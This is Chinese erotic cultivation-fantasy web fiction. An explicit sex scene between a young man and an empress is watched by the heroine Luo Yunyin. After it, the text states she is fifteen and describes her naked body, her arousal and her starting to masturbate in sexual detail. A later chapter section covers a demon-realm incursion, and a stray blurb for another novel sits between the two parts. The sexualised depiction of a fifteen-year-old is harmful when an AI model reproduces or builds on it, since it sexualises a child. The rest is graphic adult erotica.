  阴素凝运转功法,阳元在体内流动。白皙的肌肤上不时透出一块块的金光,似在融合着刚吞入腹中的阳元。洛芸茵更加确凿无疑,齐开阳方才射出的液体,就是自己口中腥气的来源,更是碎玉璇玑用来逆转真元,助自己领悟大道之门的“养料”。残破的宝剑远未恢复,若无这股阳元支撑,强行助自己引动真元,才致如今伤上加伤,奄奄一息。
  洛芸茵并不知碎玉璇玑为何肯拼着剑灵溃散的危险助自己逆转真元,领悟大道。可性命交关的天命之剑残损至此,她满心都是要修复宝剑的想法。
  刚回过神来,阴素凝行功已毕,正软绵绵地背倚着在齐开阳胸膛上。男儿爱怜地把玩着两团圆润豪乳,激情褪去之后,乳头恢复如初,可在大手摩挲把玩之下,洛芸茵眼睁睁地看着它们又勃胀而起……
  诸多从未见过的事情,让洛芸茵足下挪不开步,只听阴素凝幽幽地埋怨齐开阳狠心,都不知怜惜她。齐开阳嘿嘿地傻笑,明知阴素凝在故作娇弱,却又怜惜万分,似乎对刚才的放纵有些过意不去。
  “你是舒服爽了。”阴素凝上身撒娇似的扭着,简直像把豪乳配合着齐开阳的揉捏,道:“还把人家弄得不上不下,都不顾惜人家。”
  “这不是等你歇一歇嘛。我几时只管自己畅快,扔着你不管?”
  洛芸茵心头又是一阵狂跳,心知两人全未知足,又要亲热。
  果然阴素凝露出带羞的媚笑,香肩一挨,几乎陷在齐开阳怀抱里。两条玉腿之间,圆菇居然从中探出头来,显然齐开阳已恢复了精力,又在蠢蠢欲动。
  “哼。”阴素凝还待娇羞片刻,齐开阳已绕过她腋下,将一颗乳头叼进嘴里吸吮。
  阴素凝鼻翼翕合,媚目一闭,柔弱无骨地软在齐开阳怀中,任他品尝着胸前两团绵软。齐开阳吸吮了一会,又一口一口地舔着乳肉。白嫩嫩的乳峰被他舔得不停轻颤,有时忍不住吸一口,咬一口。
  洛芸茵芳心一酥,饱满的左乳上一小片乳肤起了奇异的感应,钻心的麻痒难当。更糟的是,齐开阳正顺着阴素凝的乳肉舔去,一分一毫都没有错过,此刻正向着锁骨之下的贲起攀登。  不知不觉握在一起的纤手,随着齐开阳吻住阴素凝左乳上的同一片部位,洛芸茵双手紧紧一握地打起了颤。第一回被男子意外撞中的部位,平日里就有奇异的感觉,可全没料到竟然如此刻骨铭心?
  “自己坐上来。”
  声音虽轻,却又不容置疑。洛芸茵正抵受着难忍的麻痒,闻言心弦又是一颤:他要进到那里面去了……在她成长的经历里,曾有过怀疑,为何胯间幽谷会被谆谆教导。幼年的她,只知这里是个尿尿的地方。稍稍长大之后,才知这里还有一处洞穴直连入小腹里,婴孩就在小腹中孕育。
  今夜之前,她并不知婴孩是怎么生出来的。好奇地问过几次母亲,都被搪塞过去。今夜目睹了一场亲密而激烈的欢好,忽然之间全都明白了。
  “讨厌,又来折辱人家。”阴素凝拎着身上耷拉着的半幅衣裳甩在齐开阳身上,好像发泄心中不满。可这一撩,又将湿淋淋的胯间全然展露出来。皇后娘娘的幽谷乌绒浓而密,此刻被汁液浸润得透了,湿漉漉地贴在肌肤上,露出两片蜜裂之间艳红的媚肉。
  两片蜜唇极具生命力地收缩着,好像樱唇般一抿一抿地吻着肉枪。随着阴素凝微抬腰肢地画着小圈,花汁涂满了整条肉枪。女子身上这一处最为敏感,窗外偷瞧的洛芸茵亦全无意识地将胯间一紧一紧地收缩。
  齐开阳更不知足地绕过大手,拈着花唇顶上一颗小肉珠揉捏。每捏一下,都让阴素凝难耐地扭拧娇躯,花唇蠕动得更加剧烈。蜜洞口原本只淌出涓涓细流,在齐开阳的刺激之下,一大汩一大汩黏腻的花汁像小溪一样潺潺不停,很快将两人身下的床面都淋湿了一大片。
  “是这样湿的。”洛芸茵面上发烧,此情此景,哪还不明白男子情动时射出白浊的阳精,女子情动时则是花汁如流。她还是处子之身,娇羞之际,自然而然将娇躯变化的过错全都推到两人头上去:“都是这两个坏人,好不知羞,害得人家变得奇怪了……”
  阴素凝改扭拧为前后摇移,花唇吻着棒身,将一汩汩汁液在肉枪上涂抹。蜜液的滑腻,洛芸茵胯间濡湿之后自有所感,暗思这样滑溜溜的,紧窄的小肉洞才能容纳巨大之物。再看肉枪上仿佛裹了一层稀蜜,精光发亮,不仅更显猛恶,比之先前以口侍奉还要淫靡。
  齐开阳环着阴素凝的腰肢,手指在小肉珠上勾揉挑拨。阴素凝眯着若水目,唇角含笑,不时咬唇叹息,看起来很是受用。胯间两片花瓣微分,肉枪嵌在花瓣中,将两片肉叶抵成两弯圆弧。粉白的唇肉内里,玫红的媚肉微吐,湿哒哒地黏糯着棒身像在蜜吻。
  洛芸茵看得双颊绯红,呼吸急促之际,阴素凝轻抬圆润丰满的翘臀。圆菇被臀瓣含没消失,两人均是身上一僵,连呼吸都停顿。洛芸茵看得一样紧张无比,一会儿大口地喘息,无意识地抿着唇,一会儿又似被定住,半点动弹不得。
  “哼嗯~”酥媚入骨的一声呻吟,阴素凝腰肢沉落些许,丰臀向后往齐开阳的小腹一拱。密切贴合之处的摩擦发出水声轻响,连带齐开阳抽了口凉气。
  皇后娘娘停歇片刻,又是些许沉落,这一回看起来比前艰难了些。佳人新月眉蹙起,呻吟声带着痛楚。洛芸茵颤了颤,情知是圆菇最膨大的边缘入体,紧窄的洞穴难堪其硕。可仅片刻,最艰难的一关过去,阴素凝无力的娇躯失重般掉落,噗地一声轻响,圆臀结实地坐在齐开阳腿心。
  皇后娘娘眉目舒展,回眸一笑,伸脸颊接了齐开阳一记舔吻,道:“你要用力哟,要是敢折腾人,我可不依。”
  “遵娘娘懿旨。”
  洛芸茵心下大奇,不久前阴素凝分明还有不适与疼痛之色,这就要齐开阳用力?好奇之下,见两人调笑之间,齐开阳仰面躺倒,阴素凝同样向后一仰,却不躺倒,而是皓腕反撑着上身倾斜。她玉腿大大地分开,原本被她丰满圆臀遮住的视线,此刻再无遮蔽。  洛芸茵彻底震惊。只见阴素凝胯间幽谷只见溪水潺潺,却空无一物,肉枪却是没入后边那处孔洞里。少女吃这一惊,虽未惊呼出声,可一身香汗淋漓,脑壳里一片昏乱。全然想不到两人居然如此大胆,如此禁忌。可看阴素凝期待的媚笑,热情的姿势,这样的亲密绝不是第一回。
  阴素凝踮着足尖微提圆臀,肉枪在她后庭里吐出半截,小腿上肌束绷起,奋力维持着姿势。齐开阳立刻一挺小腹,肉枪吱地一声,尽根没入后庭里。胯骨撞在圆臀上,发出记清脆的撞肉声。
  “咿~嗯嗯~”阴素凝一蹙眉,又舒展得眉开眼笑,大为受用。
  肉枪插至末柄后立刻疾退,刚被抵得死死的臀肉一送,荡漾出一阵炫目的波浪。紧致的菊蕾紧紧套在枪身上,被带得翻出一层嫩膜,像一张嘟起的小嘴。
  肉枪抽出大半根,仅剩圆菇还卡在小肉圈上。还不等洛芸茵目不暇接,阴素凝娇呼未停,又是一冲而入。被翻出的嫩膜又被塞回,淫艳得让洛芸茵樱唇大张。一抽一送,力道十足,男儿抽送得如此贪婪,肉枪被他挥舞出一片残影,撞肉的脆响更密如暴雨。
  阴素凝片刻间肌肤就沁出一层香汗,娇躯上的快意让她剧烈地颤抖。齐开阳大力的抽送撞击将佳人娇躯不停地抛送,圆臀泛起涟漪,豪乳荡起浪涛。阴素凝全身心地投入在欢好之中,目光迷离,樱唇圆张着大口大口深深呼吸。
  在洛芸茵眼里,皇后娘娘美得近乎癫狂。看她两团豪乳不住弹跳着,时而上下甩荡,时而画着圆。最妙的则是偶有两团豪乳一同画圆之时,恰巧同时汇聚于中央,嫩生生的乳肉撞在一起,互相挤着变形,发出脆响,再一同弹开恢复完美的圆润。
  长长的秀发飘扬,呜咽中的阴素凝浑身无一处不肉紧,眼看着就要精神与力气全部涣散。齐开阳趁势双手攀上玉峰一捏,饱尝美乳温柔的同时,还帮着扶了一把,才让阴素凝没有软倒。可这样的扶法又有些残酷,两团豪乳被他捏得死死的拉长了些,身体的重量,竟似全凭这对豪乳支撑。
  奶儿又爽又痛,阴素凝却得了凭依。后庭里被来回满满地塞贯,胀爽之间,花汁潺潺的幽谷倍感空虚。皇后娘娘腾出一只手,两根纤指分开花瓣,将玫红的媚肉露出春色,就着紧闭的洞口浅浅地探入一根指节。
  “这……这样……”洛芸茵身上如遭电击。她僵住一动不能动,身上却有一股股电流在四处流窜。阴素凝的动作此刻吸引了她的目光,视线全落在皇后胯间。
  纤指灵巧地打着圈,环刮着花径里的嫩肉。幽谷里花汁丰沛,纤指转动起来像搅动了一汪泉眼,唧唧啾啾的水声不停。虽说不需此举,花汁淅淅沥沥地早将她的玉胯尽湿。可加上手指的动作之后,洛芸茵心里却像被忽然触动,目不转睛地观看。
  定睛之下,才发现阴素凝不仅伸入一根指节进入幽谷,拇指还在同时抚弄着花珠。洛芸茵娇躯每一分同时一缩,身体何处有感,少女平日多少知晓些。眼下阴素凝身上最具快意的部位无一处不被疼爱,稍一思量之下,少女赶紧死死咬着牙关,以免打颤时发出声音惊扰了二人。
  菊蕾紧润肥嫩,阴素凝肉紧之下收束到了最紧地箍着肉枪。豪乳丰弹柔软,被捏得红痕道道。齐开阳的吭哧声像低沉地咆哮,倾力贪欢地索取爱侣身上的美妙。阴素凝后庭本就易感,在少年郎竭尽全力的猛冲猛打之下,连泄了好几回。可菊蕾里肆虐的肉枪却不肯丝毫停歇,依旧冲击不停。快意的浪涛刚刚打过一浪,立刻就升起新的一浪,将她推向浪颠。
  又遭猛插了半炷香时分,阴素凝小腹中一股暖融融的热气没来由地出现,热气游走四肢百骸,娇躯全不能自控地发颤,每一寸都在剧烈地抖动。她知道自己即将迎来最汹涌,也最癫狂的一波狂潮。此刻心无外物,只追求快意到顶点的激情。
  “快……快些……”
  阴素凝语不成声间,身上忽然一轻倒在齐开阳胸口。男儿侧身抬起她一条玉腿,腰胯发力继续冲击。
  “小荡妇,插死你!”侧身后入的姿势让两人胯间隐秘之处再无半点遮挡。尤其阴素凝谷口如裂,蜜肉轻吐,窄小的菊蕾被撑得和肉枪一般大小。冲击撞肉之下,圆臀颤波。两只豪乳更轻易地落在少年掌心,恣意把玩揉捏。
  “还不够,还不够……”阴素凝正在最紧要的关头,只顾求欢,仍插在幽谷中的纤指连连打着转,搅拨起浪荡水声。一条玉腿被抬高,娇躯又被从后紧紧搂住难以动弹,只能不停地扭着丰臀。肉枪进出之际以不同的角度冲击摩擦着敏感。她忽然回头索吻,呻吟道:“齐郎再用力,小屁眼还差一点点……一点点才够……一起射给人家……”
  “像发癫了一样……”动情的淫声浪语,让洛芸茵羞得恨不得找个地缝钻进去。可在紧要关头,她偏偏连根指头都动不了,或是不想动?醉星目里星光点点地闪烁,看得全神贯注。
  齐开阳腰胯耸动不停,一口将红唇含住深深一吸,倾尽全力抽送起来。
  啪啪脆声像新春的鞭炮声一样密集响亮,又是百余记激烈的抽送。少年环抱的双臂骤然一收,像铁箍般抽紧。阴素凝小嘴被堵,只能发出呜呜呜呜的媚声。可方才还能自行扭动的圆臀,此刻筛糠般剧烈地颤抖。黏腻的花浆,从纤指与肉壁之间的丁点缝隙里溢出。
  快意狂潮让菊蕾又缩又颤,像抱着棒身狂吻。齐开阳呃然一声,肉枪一插到底不再拔出,而是拼了命地将胯骨向圆臀贴去,绝不满足地向深处插入。洛芸茵后庭羞处的褶皱尽被抚平,像她平日怕极了之时,小嘴不住抽动发颤,偏生被大肉枪塞满成一个圆洞。在齐开阳一声低喝声中,始终紧缩的菊蕾忽然一松,流出丝丝白浆,只一眨眼,菊蕾又行缩紧闭合,幽谷却淌出一注又一注的花浆……
  “嗯嗯嗯……”后庭被阳精冲刷着炙烫,浓烈的鼻音哼起,像在悲鸣哭泣,又像媚声求欢,连呻吟声都变了调。
  皇后娘娘乱叫乱颤着到了绝顶快意的云端,齐开阳却像不打算放过她,肉枪仍死死地向后庭深处插去,直把圆隆的丰臀挤扁。阴素凝在快意的冲刷之中不甘示弱,圆臀死命往后拱,顶着情郎小腹,希望让他进入得更深入一些。
  两人胯间剧烈地蠕动着,抵死一般地互相迎合,直到花汁干涸,阳精射尽。两具死死紧绷的身体才骤然一松,瘫软下来……
  洛芸茵几已忘了是怎么回到的厢房,只知刚闭上门,就踉踉跄跄地软倒在床,目光空洞得全无焦点。失了神智的模样,偏偏脑子里都是刚才看见的癫狂寻欢,反反复复地清晰重现。与这些癫狂画面一同出现的呃,还有可怕的念头。少女大吃一惊,忙翻身坐起甩了甩螓首,取出碎玉璇玑来。
  宝剑光华黯淡,全不见往日的意思灵动,剑中之灵悄无声息,不知尚在。洛芸茵已知那股腥气的来源,可是怎生得了?刚稍微淡忘的癫狂画面,一看见宝剑再行泛起。洛芸茵低呼一声收好宝剑跳起,在房中踱了两步,这才发觉一身香汗,竟致衣衫尽湿。
  终于有一件事可做,洛芸茵像抓住了救命稻草,三两下剥去衣裳,玉体裸呈。
  眼角的余光中,镜子倒映出这具娇躯。洛芸茵不是裸出身体,每回进入剑湖是都要除去衣物,可从未在意如此在意过自己的身体。
  明镜之中,洛芸茵侧着身,肩若削成,腰肢纤细,香肌雪肤,曲线玲珑。这一眼,洛芸茵似顾影自怜,又似在自赏,又似在对比。十五岁的少女,身材已发育得十分成熟。胸乳高耸,臀股圆隆,目光落在侧身的身姿上,娇躯的每一条曲线都曼妙动人。
  正是如花将放的年纪,身上的每一分都充满了青春逼人的魅力。无比的饱满,无比的弹性肉眼可见。一呼一吸之间,胸乳一起一落,颤如跳兔。
  洛芸茵迷了神智一样伸出一根手指,顺着香肩滑向藕臂,转至小腹,再上提顺着胸乳描绘着轮廓。玉胯之间的湿意始终不停,洛芸茵指尖犹疑着向下。阴素凝方才放浪的胯间动作深深印在脑海,少女颤着手,脑中的欲望压倒了一切。她不知该怎么办,却身不由己,自然而然伸指向胯间探去。
  两根手指分开蜜唇露出媚肉,伸进去一截,再用拇指按揉肉珠。阴素凝自行寻欢的一幕看得纤毫毕现,洛芸茵本能就想依样而为。手指刚触碰到胯间的乌绒,少女忽然打了个寒噤,呻吟一声,双手捂着脸跳起,头也不回地夺门而去。

史上最强炼气期
李道然
修炼了将近五千年的方羽,还是没有突破炼气期……“我真的只有炼气期,但你们别惹我!”

风雨无阻 / 发表于: 2025/08/29 16:53:05

第四卷 靡月残风 第一章:月隐星沉
  清晨的风带着寒意,齐开阳推开寝宫大门独自来到庭院中。
  打了一趟拳法,又单手虚握兵刃之形,使了一路兵器。
  洛芸茵午夜沐浴净身后心绪稍定,为凝心静气,打坐至天明彻夜未睡。听得庭院中有虎虎风起,犹豫片刻离开厢房,恰好看见齐开阳使的这一路兵器。
  招式朴拙,一板一眼,看起来实不比凡间武夫高明多少。可真正与他为敌,才知其中大巧不工,又变化无穷。洛芸茵和齐开阳交过手,口不服而心服,此番旁观,颇觉不同。
  自修行以来,剑湖之底的白莲通灵,每回出山都要借剑心参悟得失。偏生自洛城回宗后,八九玄功残留在剑心中的残气引动碎玉璇玑,出了「意外」。
  今日看来,齐开阳步伐沉稳,手中虽虚握,一招一式如使重器,仿佛手中的正是那柄银装锏。可齐开阳又不是一味的笨拙,身形翻转,高纵低跃,如龙虎翻腾,灵巧而气势雄浑。洛芸茵看他一路兵刃使完,似得明悟!
  「洛姑娘早呀。」齐开阳修行时专注,虽知洛芸茵在旁,亦不停止。
  「早。」洛芸茵淡淡回应,自昨夜亲眼旁观了一场癫狂,再不能以今日之前的嘻嘻哈哈待齐开阳。连齐开阳一个平常的挥手笑搭,她都觉出股说不出的滋味,目光不自主地躲闪。自知异样,问道:「你不是早上都在搬运周天么?」
  「娘娘昨夜有所得,我就出来守着。」齐开阳察觉不同,不好多问,笑着道。
  「有所得?哼,是你得了阴姑娘的便宜才对吧?」洛芸茵心中暗思,撇了撇嘴,蓦觉此话太多不妥。皇后都已不是姑娘,且看昨夜那个样子,没有谁占谁便宜之说。一想那场面,禁不住面容耳赤,急忙背过身道:「我回房去。」
  「午后我来帮你输真元。」
  洛芸茵闻言顿步,螓首微垂。一时心中有些丧气,有些异样。今晨不知为何,看见齐开阳就感来气,可少年并无芥蒂,还念念不忘每日相助事宜。这一路自相识来,齐开阳还未向自己要求半分,该助力时毫不推脱。这一片赤诚之心,无可指摘。
  洛芸茵半偏过头,轻声道:「多谢啦。」
  不敢再停留,齐开阳摸不着头脑之下,洛芸茵疾步奔回侍女厢房。一掩上门,少女恨恨地跺脚,双手揪着衣袖上一小片布料来回拉扯。心中汹涌澎湃,五味杂陈,一会儿怨齐开阳明明有了柳霜绫,不知珍惜,还在拈花惹草;一会儿恨天下男子薄情,贪心不足;一会儿又懊恼地嘟唇,齐开阳待柳霜绫生死与共已看在眼里,待阴素凝目前看起来也是真心诚意,实在没什么好指摘的。
  「千说万说,男女相处,逃不过一个用心为先。」忽然冒出的念头,让洛芸茵吓了一跳。还不及去探究为什么冒出这样的念头,俏脸一沉。
  这一回不仅生气,还有些阴郁地一屁股坐下。少女极具弹性的翘臀摔出啪的一声脆响。
  午后齐开阳来厢房的时辰比往日要晚一些。洛芸茵并不催促,齐开阳入房时,她依然在打坐行功。房门一响,功行就停,不是在搬运周天,看起来像某种凝心静气的法门。
  「来晚了。」
  齐开阳寻处盘膝坐好,洛芸茵默不作声地取出碎玉璇玑。不知道往常活泼而多言的她为何今日如此沉默,看上去心事重重。齐开阳见碎玉璇玑仍是黯淡无光,却并无更加恶化之势。不明所以,齐开阳独自运起八九玄功,向宝剑输入真元。
  碎玉璇玑得真元注入,恢复些许生气。齐开阳收功时,宝剑在空中轻轻震了震。洛芸茵吃了一惊,取剑在手,剑中之灵仍是奄奄一息,难明其意,少女无奈将宝剑收回法囊。
  「洛姑娘有心事?依我看宝剑暂时无恙。」
  「我知道。」洛芸茵一双醉星目神采有些黯淡,垂目意态寥寥,随口道:
  「没什么,就有点心神不宁。」
  「我有同感,娘娘和三弟也这样。」齐开阳笑了笑,道:「大臣们走后多聊了两句,来晚了些。」
  「嗯?」洛芸茵一惊,抬起头左右一望,这才察觉出的确有股说不出的奇妙感应。修道中人感官灵敏,更具神识在身,对异样之事总有些说玄而又玄的预感。
  「洛姑娘也有,看来担心不是多余。」齐开阳起身道:「我见识浅薄,说不清是什么,不知道会不会有什么危险。洛姑娘,皇城中的事情与你无干。娘娘说了,若有危险,你大可以袖手旁观或是先行离去,没人责怪于你。」
  「我不是那等人。」洛芸茵正心头有股闷气,一早上都发泄不出来,闻言凶巴巴地瞪了齐开阳一眼,道:「说这种话,你们就这样看我的?」
  「当然不是,话得说在前面。」齐开阳露出个得意的笑容,似是已提前猜中了结果,道:「娘娘的意思是,每个人都有自己的事情和使命,洛姑娘或有重责在身,不可勉强。」
  「除魔卫道,不就是修道人的使命?」新认识不久的这帮朋友,的确个个心善而正直。但洛芸茵感慨之际,心中的那股闷气更加没了发泄的理由,更加恼了,没好气答道。
  齐开阳暗自纳罕,不知道洛芸茵今日心情为何这般不佳。没奈何,只得先告辞而去。回了寝宫将事情一说,阴素凝露出慧黠之色,一本正经道:「女孩儿家的心事,你猜那么多干嘛?」
  齐开阳又讨了个没趣,无奈地挠挠头,阴素凝又道:「要不去试试怎么将她哄得开心起来?要有这个本事,往后你哄那个女孩子都不在话下。」
  「这种本事学来干什么。」齐开阳讷讷道。
  「你可别后悔哦~」阴素凝轻笑一声,抬头看了看天空。天空被屋顶隔绝,视线不能穿透,可皇后娘娘却似看见了什么,目光忧虑。末了头一低,又回到书案上。目光经过齐开阳,忧色稍退,略定了定神。
  即使没有那丝奇妙的感应,大宋国同样面临危机。今春以来大宋国像惹恼了老天爷,沿河一带大雨不断,诸郡百姓苦不堪言。见此良机,四境敌国正厉兵秣马,尤以西边的赵国为甚。危机四伏,阴素凝日间修行都减了一个时辰用以处理政务。
  皇后娘娘有时想想,幸亏有齐开阳日夜陪伴。不仅肉体极尽满足,精神上亦有了极大的支撑。若是像从前形单影只,还要承受宗门仙使的压力,真不知能不能撑得下去。别说和现在一样,危机之中淡定如常,有条不紊。
  这一日再无事发生。齐开阳心头的不安感越来越淡,奇的是阴素凝与洛芸茵的感应却是越发明显。齐开阳难以体会,不明所以,直到清晨洛芸茵言道夜间碎玉璇玑又震了三回。异常的发生,不容人不重视。
  是日大朝会,齐开阳陪同上朝。宋国大雨连绵,即使雨势稍停数个时辰,天空依然阴沉沉的,不见半点阳光。厚重的云层压在头顶,也压在每个人的心头。
  七日才有一个朝会,诸事繁多,朝臣们奏章不断,争论不休。只过了半个时辰,皇帝已大为不耐,一反常态地频频出言打断。
  齐开阳大为不满,阴素凝主理政事已久,皇帝此番作为,居然让他升起【越俎代庖】之感。可听得片刻,皇帝虽荒废经年,对朝中诸多形势不甚了了。这么临时插手,还不甚耐烦,处理得体的事宜居然超了半数。齐开阳不由收起小觑之心,暗思若皇帝能幡然悔悟,为时未晚。
  再看原本暮气沉沉般的朝堂,今日居然有些群情汹涌。朝臣们似被皇帝重新问政点燃了希望与热情,高谈阔论,远比阴素凝主政之时热烈了数倍之多。就连自家兄弟卓亦常,今日的振奋踊跃,都不是在延宁宫中时可以比拟的。
  齐开阳当然偏心阴素凝,可见此情此景,忽然领悟了许多。
  翻开历史,多少事情都讲究师出有名,名正言顺。阴素凝的才德再怎么得到认可,皇后就是皇后。除非皇帝昏庸到底,国之将亡,皇后仍难以匹敌皇帝的号召力。齐开阳又想起初离山时,南樛木站在义与身份之位上,自己就被动到了极点。一时间少年若有所思……
  又过半个时辰,皇帝的耐心终于耗尽,不待还有诸多要事商议,下旨退朝,群臣面面相觑。皇帝难得又将心思放在政事上,可这点心思堪称【转瞬即逝】,群臣们的失望之色溢于言表。卓亦常血气方刚,见状立欲犯颜直谏,却见柯太师出班。
  「陛下,为帝当心有政事,勤思进取。勤政为民,人心所向。众志成城,勤政无疆。常言道:君子哉若人!尚德哉若人……勤政不辍,万民所归……」柯太师洋洋洒洒,说了有近半炷香时分。
  莫说皇帝,光是念这些经文古籍而不以讲解,连群臣们都听得昏昏欲睡,别说心不在焉的皇帝。皇帝忍了半炷香时分,又挥手打断道:「罢了,朕今日乏了,请皇后代朕理事。国师随朕来!」
  皇帝言罢,不由分说地起身,群臣只得恭送。阴素凝奉旨从珠帘后现身,坐在龙椅之侧,又行理政。
  比起往日,阴素凝拘谨许多,齐开阳想了想明白过来。皇帝今日虽下了旨意,可长久以来重掌政事,她更需谨慎,以免落个与皇帝争夺权势的名头。阴素凝不好下决断,多由群臣们充分商议过后定下,这回朝会直到近傍晚才散。其间阴素凝吩咐御厨备下饮食,倒在大殿里开个场宴席。
  「还道他浪子回头,想起自己是个关乎天下百姓的皇帝,没想到空欢喜一场。」
  回延宁宫路上,齐开阳鄙薄着低声道:「今天受累啦。」
  「又有进步嘛,居然看得出来。」阴素凝颇见赞许,看着齐开阳的目光放着异光,显是芳心可可。至于变好还是没变好,只字不提。
  「人情世故,总要多学习些嘛。」阴素凝钟情自己,齐开阳心中亦觉甜蜜。
  看看将至延宁宫,阴素凝面色一变,齐开阳更是眉头结起,两人一齐抬头。
  时近黑夜,山尖上明月刚露出半脸,几颗小星在空中闪烁着黯淡的光芒。天边忽然出现一星疾飞,远观若小指头大小,飞行甚速,拖着只长若扫帚的尾巴。
  两人松了口气,见洛芸茵开了延宁宫门,齐开阳示意无事,正要返回宫中。
  扫帚星虽不祥,只对凡人而言。在修道人眼中,扫帚星之弱几可忽略不计。
  洛芸茵则感不妥,翻掌从法囊中取出碎玉璇玑,宝剑震颤着发出微弱的嗡嗡剑鸣之声。少女飞身来到二人身边,紧张地望着天空。碎玉璇玑暗创甚重,还在不顾一切地发出警示。齐开阳与阴素凝对宝剑知之甚少,洛芸茵却知定然有大事发生。
  扫帚星飞过天际,余光在天边闪耀,明月跳出山尖,这一回轮到阴素凝大吃
  一惊。她修习的法门多引月华之功,对夜月了解甚深。
  齐开阳见此刻的明月皎白中带着些红光。今夜是月圆之夜,明月之形圆如阴素凝之臀,却其大无伦,比之平日见的大了近倍。如一只巨眼压在山尖,俯瞰着凡间。
  「太阴星……」阴素凝喃喃道。今夜现身的并非明月,而是太阴。日之精华炽热,仙神不敢轻易吞吐,妖族更多以月之精华修行。太阴星为月华来源,是为妖星。平日挂在天空中的月亮,只是太阴星的残影。今日太阴星亲自现身,亦有不祥之兆。
  齐开阳始终感应不深,正自奇怪。忽见一缕金光在空中划破了黑暗,西落的太阳星在黑夜复现,旋即金木水火土与计都罗睺一同于天空闪耀。
  「九曜星!」凶星齐现天空,阴素凝咬了咬牙,知道大事不妙,道:「快,随我来!」
  阴素凝领着两人冲入【玉髓阁】,直奔人皇珠。皇后娘娘运动皇气人望,人皇珠发出无边无际的淡淡黄光升空而起,笼罩四野。
  「怎地这么弱。」阴素凝香汗淋漓,人皇珠的黄光之淡几近于无,且隐隐泛出血色。
  正在此时,空中一颗赤红星辰划过,其大如斗。赤星掠过天际,竟在空中割出一道颀长的【伤痕】。
  「赤尾!」阴素凝与洛芸茵齐声惊叫,齐开阳闻言想起恩师教导。
  赤尾现世,必划破界域!
  「魔族?」
  齐开阳沉声道。魔族凶恶残忍,若魔军冲入凡间,必将生灵涂炭。此刻天空中的明月已全染成了血色,从赤尾划破的裂隙之间,依稀可见混沌之中的魔界。
  奇的是候了有半炷香时分,赤尾划开的裂隙里除了魔界暗红色的世界之外,不见进出。
  「什么声音?」似痛苦又似欢愉的哀嚎声,听起来隔得极远,可又像在耳边呢喃着回荡。不似人言,不似兽语,不似魔音。
  齐开阳除去官袍,道:「我去看一看。」难怪他警示预感不强烈,八九玄功不惧邪祟,魔功亦是邪祟一属,并不惧怕。
  「别!」阴素凝一把将他按住,忧色溢于言表。
  「难道等魔头冲出来,将我们杀得一干二净啊?」齐开阳笑道:「别怕,我就去看一眼,绝不会乱来。你在这里掌管好人皇珠,万一有变,尽力拖延。魔界现世,各家宗门不会袖手旁观的!」
  阴素凝十分犹豫间,空中已有数十道各色光芒急掠着从远处赶来,逼近裂隙。
  只是裂隙巨大,人影在空中犹如蚊虫。见有同道前来驰援,阴素凝暗松了一口气,终于点了点头。
  「你就安安心心呆在这里守卫皇城,洛姑娘陪你。」
  齐开阳足踏金光升空而起,不急不缓地朝裂隙奔去。刚至半空,身后破空声响起,洛芸茵踩着剑光追至。
  「洛姑娘不怕被人认出来?」
  洛芸茵抖了抖手中纱衣往身上一罩,登时换了个人,道:「娘娘那边我帮不上忙,还是和你一道去吧,总不能袖手旁观。」
  「那行,咱不和那些人照面,远远看看就好。你这身衣服哪来的?」赶来的修士越来越多,齐开阳深感自己还没做好准备,不欲跟这些人行在一处。至于洛芸茵罩上纱衣后容貌改变,且与幻容不同,全查不出脸上的真元流动,让齐开阳很是新奇。
  「魔界虽然凶险,也有许多稀缺的天材地宝,来的人不会太少。」洛芸茵白了他一眼,道:「【楚地阁】买的,没见过世面的样子。」
  自昨日来,洛芸茵始终待齐开阳凶巴巴的。比前两人之间的拌嘴完全不同,齐开阳能深切地感受到她的怨气。少年不明所以,只好采纳阴素凝的建议:女孩儿家的心思,猜那么多干嘛?
  赶来的修士越来越多,不多时就有三四百之众。可修士们并不聚于一处,而是三五成群,各自在空中飞翔。
  齐开阳自裂隙之中,看魔界一轮血月高悬于寸寸龟裂的天穹中央。血月面上爬满了紫黑的脉络,像血管般密布。那些脉络居然真如血管般搏动,每搏动一回,
  月光就像粉末般洒落,诡异可怖得让人毛骨悚然。
  地面上满布着暗红色的晶簇,看上去又不甚凝固坚实,而是像岩浆般缓缓流动。从裂隙之中,传来厉厉惨呼之声,又夹杂男女放荡大笑。齐开阳还未见过魔族人物,好奇地频频打量。可赤尾划开天际,魔界骤然出现,偏生见不着一个魔族中人。修士同道们有人跃跃欲试,终究不敢擅入,只在界域之外指指点点。
  天边鸾吟凤鸣之声响起,一行人浩浩荡荡。前方两名仙童引路,四只鸾鸟驾驭着香车,车旁八名仙女相陪,车后又有仙家十余人腾云驾雾着护佑。声势之大,看得齐开阳暗暗咋舌。
  「是殷其雷来了。」洛芸茵小声道,拉了拉齐开阳的衣角,示意他退到一旁。
  「东天池的?排场还真大。」齐开阳撇了撇嘴,鄙薄之意甚浓。洛芸茵几乎同时撇了撇嘴,对这种排场同感鄙薄。两人见状相视一笑,先前一点芥蒂在这一笑中烟消云散。
  一行鸾驾远远停下,一名仙童上前喝道:「殷公子圣驾在此,欲随公子者伏魔者速速报上名来,无关人等即刻退开!」
  一席话又说得齐开阳与洛芸茵相顾做着鬼脸,洛芸茵手在鼻子前来回扇动,示意臭不可闻。东天池放下话来,言下之意以殷其雷为尊,从者能看看有没有点残羹冷炙吃上一口,若不从的,则连碰都不许碰一下,立刻滚得远远的。
  齐开阳心中鄙薄,但看众多修士到场,料想魔族翻不起太大风浪。安危无忧,一时放心许多。他修行不需外物,洛芸茵也兴趣缺缺,两人使了个眼色就要离去。
  骤然魔界中一声轻响,七座倒悬的尖塔刺破云层,从界域中伸出。塔身显灰白之色,细看之下,全是累累白骨造就,只塔尖一簇闪着黑沉沉的光华。
  「咯咯咯,这就是你们的什么仙家大宗?」一个浪荡而轻蔑的声音响起,道:
  「说话好臭,好臭,简直比嫁了三千个丈夫的贱货身上的味道还要腥骚。」
  一名魔女从七塔中央现身。一头绛红长发及腰,泛着光华如星砂流动,眉心处一颗血痣艳红。
  右脖颈侧音叉般的锁骨中央纹着个奇妙的图案,齐开阳细看不识。目光再转下,只见魔女娇躯上身搭一片青碧色的鲛绡。那鲛绡长而窄,只堪堪裹着两团豪乳峰顶。露出的大半片乳肤雪白晶莹,远远看着便觉嫩滑如玉。
  纤细的腰肢上不着片缕,光滑洁白的腹皮上一枚柳叶般的脐眼妖艳万分,直指上方的豪乳与下方的臀股。一片水蓝色的鲛绡形同荷叶,系在胯间,仅能遮住丰腴臀股的曲线。修长笔直的双腿大多赤裸,只有两根绫带系着足底的麻鞋。纤美的足踝,纤长的玉足在空中斜垂着。
